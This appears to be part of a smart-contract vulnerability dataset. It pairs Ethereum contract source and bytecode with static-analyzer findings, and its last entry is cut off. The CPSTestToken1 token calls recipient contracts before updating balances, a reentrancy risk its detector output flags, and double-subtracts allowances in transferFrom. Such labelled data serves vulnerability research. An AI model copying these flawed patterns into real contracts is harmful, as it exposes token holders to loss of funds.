0x6080604052600436106100e15760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e214610641578063e177246e14610656578063f2b0653714610680578063f851a440146106be576100e8565b80636a42b8f8146106025780637d645fab14610617578063b1b43ae51461062c576100e8565b8063399ae724116100bb578063399ae724146102ea5780633a66f901146103235780634dd18bf514610482578063591fcdfe146104b5576100e8565b80630825f38f146100ed5780630e18b681146102a257806326782247146102b9576100e8565b366100e857005b600080fd5b61022d600480360360a081101561010357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013257600080fd5b82018360208201111561014457600080fd5b803590602001918460018302840111600160201b8311171561016557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460018302840111600160201b831117156101ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106d3915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026757818101518382015260200161024f565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102b7610bd3565b005b3480156102c557600080fd5b506102ce610c6f565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b506102b76004803603604081101561030d57600080fd5b506001600160a01b038135169060200135610c7e565b34801561032f57600080fd5b50610470600480360360a081101561034657600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561037557600080fd5b82018360208201111561038757600080fd5b803590602001918460018302840111600160201b831117156103a857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103fa57600080fd5b82018360208201111561040c57600080fd5b803590602001918460018302840111600160201b8311171561042d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610d77915050565b60408051918252519081900360200190f35b34801561048e57600080fd5b506102b7600480360360208110156104a557600080fd5b50356001600160a01b0316611079565b3480156104c157600080fd5b506102b7600480360360a08110156104d857600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561050757600080fd5b82018360208201111561051957600080fd5b803590602001918460018302840111600160201b8311171561053a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561058c57600080fd5b82018360208201111561059e57600080fd5b803590602001918460018302840111600160201b831117156105bf57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611107915050565b34801561060e57600080fd5b506104706113b4565b34801561062357600080fd5b506104706113ba565b34801561063857600080fd5b506104706113c1565b34801561064d57600080fd5b506104706113c8565b34801561066257600080fd5b506102b76004803603602081101561067957600080fd5b50356113cf565b34801561068c57600080fd5b506106aa600480360360208110156106a357600080fd5b50356114c4565b604080519115158252519081900360200190f35b3480156106ca57600080fd5b506102ce6114d9565b6000546060906001600160a01b0316331461071f5760405162461bcd60e51b815260040180806020018281038252603a815260200180611588603a913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561078557818101518382015260200161076d565b50505050905090810190601f1680156107b25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107e55781810151838201526020016107cd565b50505050905090810190601f1680156108125780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600490935291205490995060ff16975061088396505050505050505760405162461bcd60e51b815260040180806020018281038252603f815260200180611830603f913960400191505060405180910390fd5b8261088c6114e8565b10156108c95760405162461bcd60e51b81526004018080602001828103825260478152602001806117416047913960600191505060405180910390fd5b6108d683621275006114ec565b6108de6114e8565b111561091b5760405162461bcd60e51b815260040180806020018281038252603581526020018061170c6035913960400191505060405180910390fd5b6000818152600460205260409020805460ff1916905584516060906109415750836109c4565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b6020831061098c5780518252601f19909201916020918201910161096d565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b60208310610a035780518252601f1990920191602091820191016109e4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a65576040519150601f19603f3d011682016040523d82523d6000602084013e610a6a565b606091505b509150915081610aab5760405162461bcd60e51b815260040180806020018281038252603f8152602001806117c2603f913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b28578181015183820152602001610b10565b50505050905090810190601f168015610b555780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b88578181015183820152602001610b70565b50505050905090810190601f168015610bb55780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c1c5760405162461bcd60e51b815260040180806020018281038252603a815260200180611788603a913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b60035460ff1615610cc05760405162461bcd60e51b815260040180806020018281038252602f815260200180611801602f913960400191505060405180910390fd5b6202a300811015610d025760405162461bcd60e51b81526004018080602001828103825260328152602001806116da6032913960400191505060405180910390fd5b62278d00811115610d445760405162461bcd60e51b81526004018080602001828103825260368152602001806116a46036913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0393909316929092179091556002556003805460ff19166001179055565b600080546001600160a01b03163314610dc15760405162461bcd60e51b81526004018080602001828103825260388152602001806115c26038913960400191505060405180910390fd5b610dd5600254610dcf6114e8565b906114ec565b821015610e135760405162461bcd60e51b815260040180806020018281038252604b81526020018061186f604b913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e79578181015183820152602001610e61565b50505050905090810190601f168015610ea65780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610ed9578181015183820152602001610ec1565b50505050905090810190601f168015610f065780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610fd1578181015183820152602001610fb9565b50505050905090810190601f168015610ffe5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611031578181015183820152602001611019565b50505050905090810190601f16801561105e5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b3330146110b75760405162461bcd60e51b815260040180806020018281038252603c8152602001806115fa603c913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146111505760405162461bcd60e51b815260040180806020018281038252603981526020018061166b6039913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111b657818101518382015260200161119e565b50505050905090810190601f1680156111e35780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112165781810151838201526020016111fe565b50505050905090810190601f1680156112435780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561130e5781810151838201526020016112f6565b50505050905090810190601f16801561133b5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561136e578181015183820152602001611356565b50505050905090810190601f16801561139b5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b33301461140d5760405162461bcd60e51b81526004018080602001828103825260358152602001806116366035913960400191505060405180910390fd5b6202a30081101561144f5760405162461bcd60e51b81526004018080602001828103825260368152602001806118ba6036913960400191505060405180910390fd5b62278d008111156114915760405162461bcd60e51b815260040180806020018281038252603a81526020018061154e603a913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611546576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe736254696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e736254696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e736254696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e736254696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d20736254696d656c6f636b2e736254696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d20736254696d656c6f636b2e736254696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e736254696d656c6f636b3a3a696e69743a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e736254696d656c6f636b3a3a696e69743a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e736254696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e736254696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e736254696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e736254696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e736254696d656c6f636b3a3a696e69743a20496e69742068617320616c7265616479206265656e2063616c6c65642e736254696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e736254696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e736254696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792ea26469706673582212209fd1c67b2a64ee43d0048dd416e179a6440c2f392fd6100638ceb1257d910e2164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,984 |
0xf239fab41de78533fa974b74d7605f1e68f8772e
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) payable public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERCAddressFrozenFund is ERC20{
using SafeMath for uint;
struct LockedWallet {
address owner; // the owner of the locked wallet, he/she must secure the private key
uint256 amount; //
uint256 start; // timestamp when "lock" function is executed
uint256 duration; // duration period in seconds. if we want to lock an amount for
uint256 release; // release = start+duration
// "start" and "duration" is for bookkeeping purpose only. Only "release" will be actually checked once unlock function is called
}
address public owner;
uint256 _lockedSupply;
mapping (address => LockedWallet) addressFrozenFund; //address -> (deadline, amount),freeze fund of an address its so that no token can be transferred out until deadline
function mintToken(address _owner, uint256 amount) internal;
function burnToken(address _owner, uint256 amount) internal;
event LockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event LockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
event UnlockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event UnlockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
function lockedSupply() public view returns (uint256) {
return _lockedSupply;
}
function releaseTimeOf(address _owner) public view returns (uint256 releaseTime) {
return addressFrozenFund[_owner].release;
}
function lockedBalanceOf(address _owner) public view returns (uint256 lockedBalance) {
return addressFrozenFund[_owner].amount;
}
function lockBalance(uint256 duration, uint256 amount) public{
address _owner = msg.sender;
require(address(0) != _owner && amount > 0 && duration > 0 && balanceOf(_owner) >= amount);
require(addressFrozenFund[_owner].release <= now && addressFrozenFund[_owner].amount == 0);
addressFrozenFund[_owner].start = now;
addressFrozenFund[_owner].duration = duration;
addressFrozenFund[_owner].release = addressFrozenFund[_owner].start + duration;
addressFrozenFund[_owner].amount = amount;
burnToken(_owner, amount);
_lockedSupply = SafeMath.add(_lockedSupply, lockedBalanceOf(_owner));
LockBalance(_owner, addressFrozenFund[_owner].release, amount);
}
//_owner must call this function explicitly to release locked balance in a locked wallet
function releaseLockedBalance() public {
address _owner = msg.sender;
require(address(0) != _owner && lockedBalanceOf(_owner) > 0 && releaseTimeOf(_owner) <= now);
mintToken(_owner, lockedBalanceOf(_owner));
_lockedSupply = SafeMath.sub(_lockedSupply, lockedBalanceOf(_owner));
UnlockBalance(_owner, addressFrozenFund[_owner].release, lockedBalanceOf(_owner));
delete addressFrozenFund[_owner];
}
}
contract CPSTestToken1 is ERC223, ERCAddressFrozenFund {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address public fundsWallet; // Where should the raised ETH go?
uint256 internal fundsWalletChanged;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function CPSTestToken1() public {
_symbol = 'CPS';
_name = 'CPSCoin';
_decimals = 8;
_totalSupply = 100000000000000000;
balances[msg.sender] = _totalSupply;
fundsWallet = msg.sender;
owner = msg.sender;
fundsWalletChanged = 0;
}
function changeFundsWallet(address newOwner) public{
require(msg.sender == fundsWallet && fundsWalletChanged == 0);
balances[newOwner] = balances[fundsWallet];
balances[fundsWallet] = 0;
fundsWallet = newOwner;
fundsWalletChanged = 1;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function mintToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.add(balances[_owner], amount);
}
function burnToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.sub(balances[_owner], amount);
}
function() payable public {
require(msg.sender == address(0));//disable ICO crowd sale 禁止ICO资金募集,因为本合约已经过了募集阶段
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if(_from == fundsWallet){
require(_value <= balances[_from]);
}
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public payable {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function transferMultiple(address[] _tos, uint256[] _values, uint count) payable public returns (bool) {
uint256 total = 0;
uint256 total_prev = 0;
uint i = 0;
for(i=0;i<count;i++){
require(_tos[i] != address(0) && !isContract(_tos[i]));//_tos must no contain any contract address
if(isContract(_tos[i])) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_tos[i]);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _values[i], _data);
}
total_prev = total;
total = SafeMath.add(total, _values[i]);
require(total >= total_prev);
}
require(total <= balances[msg.sender]);
for(i=0;i<count;i++){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _values[i]);
balances[_tos[i]] = SafeMath.add(balances[_tos[i]], _values[i]);
Transfer(msg.sender, _tos[i], _values[i]);
}
return true;
}
}
|
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610119578063095ea7b3146101a357806318160ddd146101d9578063191723ed146101fe5780632194f3a21461021757806323b872dd14610246578063286c241a1461026e578063313ce5671461028d578063323661f6146102b657806359355736146102c957806366188463146102e857806370a082311461030a5780637d6f0d5f146103295780638da5cb5b1461034857806395d89b411461035b578063a201ed8b1461036e578063a9059cbb146103f4578063be45fd6214610416578063ca5c7b9114610470578063d73dd62314610483578063dd62ed3e146104a5575b33600160a060020a03161561011757600080fd5b005b341561012457600080fd5b61012c6104ca565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610168578082015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ae57600080fd5b6101c5600160a060020a0360043516602435610572565b604051901515815260200160405180910390f35b34156101e457600080fd5b6101ec6105de565b60405190815260200160405180910390f35b341561020957600080fd5b6101176004356024356105e4565b341561022257600080fd5b61022a61072c565b604051600160a060020a03909116815260200160405180910390f35b341561025157600080fd5b6101c5600160a060020a036004358116906024351660443561073b565b341561027957600080fd5b6101ec600160a060020a0360043516610a3c565b341561029857600080fd5b6102a0610a5a565b60405160ff909116815260200160405180910390f35b34156102c157600080fd5b610117610a63565b34156102d457600080fd5b6101ec600160a060020a0360043516610b78565b34156102f357600080fd5b6101c5600160a060020a0360043516602435610b96565b341561031557600080fd5b6101ec600160a060020a0360043516610c8a565b341561033457600080fd5b610117600160a060020a0360043516610ca5565b341561035357600080fd5b61022a610d2a565b341561036657600080fd5b61012c610d39565b6101c56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496505093359350610dac92505050565b34156103ff57600080fd5b6101c5600160a060020a0360043516602435611137565b61011760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061134995505050505050565b341561047b57600080fd5b6101ec61156c565b341561048e57600080fd5b6101c5600160a060020a0360043516602435611572565b34156104b057600080fd5b6101ec600160a060020a0360043581169060243516611610565b6104d26116d1565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105685780601f1061053d57610100808354040283529160200191610568565b820191906000526020600020905b81548152906001019060200180831161054b57829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b33600160a060020a038116158015906105fd5750600082115b80156106095750600083115b801561061d57508161061a82610c8a565b10155b151561062857600080fd5b600160a060020a03811660009081526002602052604090206004015442901180159061066d5750600160a060020a038116600090815260026020526040902060010154155b151561067857600080fd5b600160a060020a0381166000908152600260208190526040909120429181018290556003810185905590840160048201556001018290556106b9818361163b565b6106cd6001546106c883610b78565b61167e565b600155600160a060020a03811660008181526002602052604090819020600401547f4a5ed3c7d7f33c8c80b3444f04527e6d3bee954c19dac37176e4aa1a86ce87289185905191825260208201526040908101905180910390a2505050565b600754600160a060020a031681565b6000806107466116d1565b600160a060020a038516151561075b57600080fd5b600160a060020a03861660009081526009602052604090205484111561078057600080fd5b600160a060020a038087166000908152600a6020908152604080832033909416835292905220548411156107b357600080fd5b600754600160a060020a03878116911614156107ee57600160a060020a0386166000908152600960205260409020548411156107ee57600080fd5b6107f785611694565b1561090657849150600160405180591061080e5750595b818152601f19601f83011681016020016040529050905081600160a060020a031663c0ee0b8a3386846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108a457808201518382015260200161088c565b50505050905090810190601f1680156108d15780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156108f157600080fd5b6102c65a03f1151561090257600080fd5b5050505b600160a060020a038616600090815260096020526040902054610929908561169c565b600160a060020a038088166000908152600960205260408082209390935590871681522054610958908561167e565b600160a060020a038087166000908152600960209081526040808320949094558983168252600a815283822033909316825291909152205461099a908561169c565b600160a060020a038781166000908152600a60209081526040808320339094168352929052208190556109cd908561169c565b600160a060020a038088166000818152600a6020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a350600195945050505050565b600160a060020a031660009081526002602052604090206004015490565b60055460ff1690565b33600160a060020a03811615801590610a8457506000610a8282610b78565b115b8015610a98575042610a9582610a3c565b11155b1515610aa357600080fd5b610ab581610ab083610b78565b6116ae565b610ac9600154610ac483610b78565b61169c565b600155600160a060020a0381166000818152600260205260409020600401547ff2a470701c29165d36d10c35e36dac1dc397594484071f35785a55c8589be0fa90610b1384610b78565b60405191825260208201526040908101905180910390a2600160a060020a031660009081526002602081905260408220805473ffffffffffffffffffffffffffffffffffffffff19168155600181018390559081018290556003810182905560040155565b600160a060020a031660009081526002602052604090206001015490565b600160a060020a033381166000908152600a6020908152604080832093861683529290529081205480831115610bf357600160a060020a033381166000908152600a60209081526040808320938816835292905290812055610c24565b610bfd818461169c565b600160a060020a033381166000908152600a60209081526040808320938916835292905220555b600160a060020a033381166000818152600a602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526009602052604090205490565b60075433600160a060020a039081169116148015610cc35750600854155b1515610cce57600080fd5b60078054600160a060020a0390811660009081526009602052604080822054948316808352818320959095558354909216815290812055805473ffffffffffffffffffffffffffffffffffffffff191690911790556001600855565b600054600160a060020a031681565b610d416116d1565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105685780601f1061053d57610100808354040283529160200191610568565b6000806000806000610dbc6116d1565b600094508493508392505b86831015610fa8576000898481518110610ddd57fe5b90602001906020020151600160a060020a031614158015610e195750610e17898481518110610e0857fe5b90602001906020020151611694565b155b1515610e2457600080fd5b610e33898481518110610e0857fe5b15610f6c57888381518110610e4457fe5b9060200190602002015191506001604051805910610e5f5750595b818152601f19601f83011681016020016040529050905081600160a060020a031663c0ee0b8a338a8681518110610e9257fe5b90602001906020020151846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f0a578082015183820152602001610ef2565b50505050905090810190601f168015610f375780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610f5757600080fd5b6102c65a03f11515610f6857600080fd5b5050505b849350610f8e85898581518110610f7f57fe5b9060200190602002015161167e565b945083851015610f9d57600080fd5b600190920191610dc7565b600160a060020a033316600090815260096020526040902054851115610fcd57600080fd5b600092505b8683101561112857600160a060020a0333166000908152600960205260409020546110129089858151811061100357fe5b9060200190602002015161169c565b600160a060020a033316600090815260096020819052604082209290925561107891908b868151811061104157fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054898581518110610f7f57fe5b600960008b868151811061108857fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558883815181106110b857fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a868151811061110257fe5b9060200190602002015160405190815260200160405180910390a3600190920191610fd2565b50600198975050505050505050565b6000806111426116d1565b600160a060020a038516151561115757600080fd5b600160a060020a03331660009081526009602052604090205484111561117c57600080fd5b61118585611694565b1561129457849150600160405180591061119c5750595b818152601f19601f83011681016020016040529050905081600160a060020a031663c0ee0b8a3386846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561123257808201518382015260200161121a565b50505050905090810190601f16801561125f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561127f57600080fd5b6102c65a03f1151561129057600080fd5b5050505b600160a060020a0333166000908152600960205260409020546112b7908561169c565b600160a060020a0333811660009081526009602052604080822093909355908716815220546112e6908561167e565b600160a060020a0380871660008181526009602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a3506001949350505050565b600080831161135757600080fd5b61136084611694565b15611448575082600160a060020a03811663c0ee0b8a3385856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113e65780820151838201526020016113ce565b50505050905090810190601f1680156114135780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561143357600080fd5b6102c65a03f1151561144457600080fd5b5050505b600160a060020a033316600090815260096020526040902054611471908463ffffffff61169c16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546114a6908463ffffffff61167e16565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b602083106114f35780518252601f1990920191602091820191016114d4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a450505050565b60015490565b600160a060020a033381166000908152600a602090815260408083209386168352929052908120546115a4908361167e565b600160a060020a033381166000818152600a602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b600160a060020a03821660009081526009602052604090205461165e908261169c565b600160a060020a0390921660009081526009602052604090209190915550565b60008282018381101561168d57fe5b9392505050565b6000903b1190565b6000828211156116a857fe5b50900390565b600160a060020a03821660009081526009602052604090205461165e908261167e565b602060405190810160405260008152905600a165627a7a72305820daae87d28e53b696a2a4ba50387ace15ac4e56b3cdfb2ea3497d32a23b333f3b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,985 |
0x7278264d96813f2b22cff0f543e2a3973467d0ea
|
/**
*Submitted for verification at Etherscan.io on 2021-04-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-07
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
